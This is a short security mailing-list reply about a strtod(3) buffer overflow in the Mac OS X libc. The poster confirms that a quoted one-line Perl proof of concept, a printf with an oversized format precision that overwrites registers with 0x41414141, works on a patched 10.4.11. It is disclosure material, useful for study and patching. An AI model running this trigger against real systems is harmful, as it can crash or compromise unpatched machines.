133-54D Re: MacOS X 10.5/10.6 libc/strtod(3) buffer overflow

[Joshua Levitsky <jlevitsk () joshie com>]

On Tue, Jan 12, 2010 at 12:54 PM, Joshua Levitsky <jlevitsk () joshie com>wrote:

> On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz <
> cxib () securityreason com> wrote:
>
> >
>
> Could you check perl PoC ?
> > It should overwrite esi and edi register
> >
> > esi=0x41414141
> > edi=15
> The perl PoC worked on 10.4.11 fully patched.
>
> http://securityreason.com/achievement_securityalert/63
>
> Example 0:
> - --- chujwamwmuzg.pl ---
>
> #!/usr/local/bin/perl
> printf "%0.4194310f", 0x0.0x41414141;
> - --- chujwamwmuzg.pl ---
>
> --
Joshua Levitsky, MCSE, CISSP
http://www.jnuxhosting.net
http://www.jnux.net
http://blog.joshie.com/
[5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]

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